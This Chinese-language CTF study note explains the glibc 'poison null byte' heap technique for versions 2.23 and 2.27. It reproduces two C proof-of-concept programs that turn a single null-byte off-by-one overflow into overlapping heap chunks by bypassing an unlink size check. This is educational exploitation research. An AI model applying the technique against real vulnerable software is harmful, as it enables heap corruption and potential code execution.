Posion null byte
glibc-2.23
Posion null byte是比一般的off by one更加严格一点的漏洞。本质上是缓冲区溢出漏洞的一种在CTF题目中比较常见的漏洞。它本质上也是off bye one漏洞。
分配四个堆块a,b,c和d。a堆块是off-by-one的触发点。在a中触发off by one null byte到b堆块中的size位的最低位。一般令b的最低位为10通过控制b块的size。这里null byte会将b块的prev_in_use位抹掉,所以要先将b free入unosrtedbin list才能触发off by one。否则会导致b和a合并。c的堆块的作用是和b堆块的开头部分合并造成chunk overlap的。而d堆块的作用是防止合并到top chunk的。
Unlink的时候会有当前块的size和下一个相邻的物理块的prev_size是否相等的检查。off by one漏洞是的chunk b的末端地址被认为了提前,因此我们需要在b的末尾的相应的位置提前设置以绕过unlink的检查。
在一切准备就绪之后,unsortedbin中的b堆块的size会比malloc的时候实际获得的大小少10(off by one的缘故)。然后,我们从其中分配处两块较小的chunk b1和b2。然后我们再free掉b1和c。这样b1和c直到c的末端会被合并成一个大的chunk。再分配出来这个chunk就能造成chunk overlap。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("Welcome to poison null byte 2.0!\\n");
printf("Tested in Ubuntu 16.04 64bit.\\n");
printf("This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n");
uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;
printf("We allocate 0x100 bytes for 'a'.\\n");
a = (uint8_t*) malloc(0x100);
printf("a: %p\\n", a);
int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#x\\n", real_a_size);
/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);
printf("b: %p\\n", b);
c = (uint8_t*) malloc(0x100);
printf("c: %p\\n", c);
barrier = malloc(0x100);
printf("We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\\n"
"The barrier is not strictly necessary, but makes things less confusing\\n", barrier);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// <https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30>
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x1f0) = 0x200;
printf("In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'\\n");
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x1f0) = 0x200;
// this technique works by overwriting the size metadata of a free chunk
free(b);
printf("b.size: %#lx\\n", *b_size_ptr);
printf("b.size is: (0x200 + 0x10) | prev_in_use\\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\\n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
printf("b.size: %#lx\\n", *b_size_ptr);
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
printf("c.prev_size is %#lx\\n",*c_prev_size_ptr);
// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
// next_chunk(P) == b-0x10+0x200 == b+0x1f0
// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\\n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x100);
printf("b1: %p\\n",b1);
printf("Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %#lx\\n",*c_prev_size_ptr);
printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lx\\n",*(((uint64_t*)c)-4));
printf("We malloc 'b2', our 'victim' chunk.\\n");
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control
b2 = malloc(0x80);
printf("b2: %p\\n",b2);
memset(b2,'B',0x80);
printf("Current b2 content:\\n%s\\n",b2);
printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\\n");
free(b1);
free(c);
printf("Finally, we allocate 'd', overlapping 'b2'.\\n");
d = malloc(0x300);
printf("d: %p\\n",d);
printf("Now 'd' and 'b2' overlap.\\n");
memset(d,'D',0x300);
printf("New b2 content:\\n%s\\n",b2);
printf("Thanks to <https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks>"
"for the clear explanation of this technique.\\n");
assert(strstr(b2, "DDDDDDDDDDDD"));
}
glibc-2.27
前面提到过2.23和2.27对unsortedbin chunk向前融合的弱检查:即,unlink前面的free chunk的时候不会检查那个chunk的size域是否与当前的chunk的prev size域相等。而只是检查当前的chunk的prev size域并根据其大小来决定前面的chunk的位置并修正前面的chunk的size域。但是必须要有与那个size对应的prev size在对应的位置上!!!
但是当向后融合的时候就会检查下一个要融合的chunk的下一个相邻的物理chunk的prev size字段是否与下一个要融合的chunk的size字段相等,并且根据其原本的prev size值来修正得到新的prev size值。
之所以上面的overlapping chunk能够成功:伪造chunk而不修正fake chunk的nextchunk的prev size是因为这个伪造过程是发生在free p2之后的。
这就导致如果尝试从那个fake chunk中split一块chunk来返回给malloc的时候,如果next chunk的prev size不正确就会导致出错。当然如果整个chunk不进行split而直接返回的话就不会有这个问题。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("Welcome to poison null byte 2.0!\\n");
printf("Tested in Ubuntu 18.04 64bit.\\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n");
uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;
printf("We allocate 0x500 bytes for 'a'.\\n");
a = (uint8_t*) malloc(0x500);
printf("a: %p\\n", a);
int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x500 because of rounding): %#x\\n", real_a_size);
/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0xa00);
printf("b: %p\\n", b);
c = (uint8_t*) malloc(0x500);
printf("c: %p\\n", c);
barrier = malloc(0x100);
printf("We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\\n"
"The barrier is not strictly necessary, but makes things less confusing\\n", barrier);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// <https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30>
// this added check requires we are allowed to have null pointers in b (not just a c string)
// *(size_t*)(b+0x9f0) = 0xa00;
printf("In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'\\n");
// we set this location to 0xa00 since 0xa00 == (0xa11 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x9f0) = 0xa00;
// this technique works by overwriting the size metadata of a free chunk
free(b);
printf("b.size: %#lx\\n", *b_size_ptr);
printf("b.size is: (0xa00 + 0x10) | prev_in_use\\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\\n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
printf("b.size: %#lx\\n", *b_size_ptr);
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
printf("c.prev_size is %#lx\\n",*c_prev_size_ptr);
// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0xa00 (was 0xa10 before the overflow)
// next_chunk(P) == b-0x10+0xa00 == b+0x9f0
// prev_size (next_chunk(P)) == *(b+0x9f0) == 0xa00
printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x500);
printf("b1: %p\\n",b1);
printf("Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %#lx\\n",*c_prev_size_ptr);
printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lx\\n",*(((uint64_t*)c)-4));
printf("We malloc 'b2', our 'victim' chunk.\\n");
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control
b2 = malloc(0x480);
printf("b2: %p\\n",b2);
memset(b2,'B',0x480);
printf("Current b2 content:\\n%s\\n",b2);
printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\\n");
free(b1);
free(c);
printf("Finally, we allocate 'd', overlapping 'b2'.\\n");
d = malloc(0xc00);
printf("d: %p\\n",d);
printf("Now 'd' and 'b2' overlap.\\n");
memset(d,'D',0xc00);
printf("New b2 content:\\n%s\\n",b2);
printf("Thanks to <https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks>"
"for the clear explanation of this technique.\\n");
assert(strstr(b2, "DDDDDDDDDDDD"));
}
总而言之:
即将进入unsortedbin的chunk向前融合的时候,不会检查前面的那一个chunk的size域是否与当前的chunk的prev size字段是否相等(但是必须要有与那个size对应的prev size在对应的位置上),并且glibc会根据当前的chunk的prev size字段来确定新的属于融合之后的chunk的size字段。
即将进入unsortedbin的chunk向后融合的时候,是会检查后面的那一个chunk的下一个相邻的物理chunk的prev size字段是否正确的(相等),并且会根据那个旧的prev size/size来修正得到新的prev size。
如果从一个unsortedbin chunk中分配堆块而不至于将其分割的时候,也不会检查这个chunk的下一个相邻的物理chunk的prev size字段是否正确。但是当需要分割这个chunk的时候则会检查。
上面的这个例子触发堆块重叠成功的原因和内部赛那道PWN的题目是一样的。不会检查前面的那一个chunk的size域是否与当前的chunk的prev size字段是否相等(但是必须要有与那个size对应的prev size在对应的位置上)!!!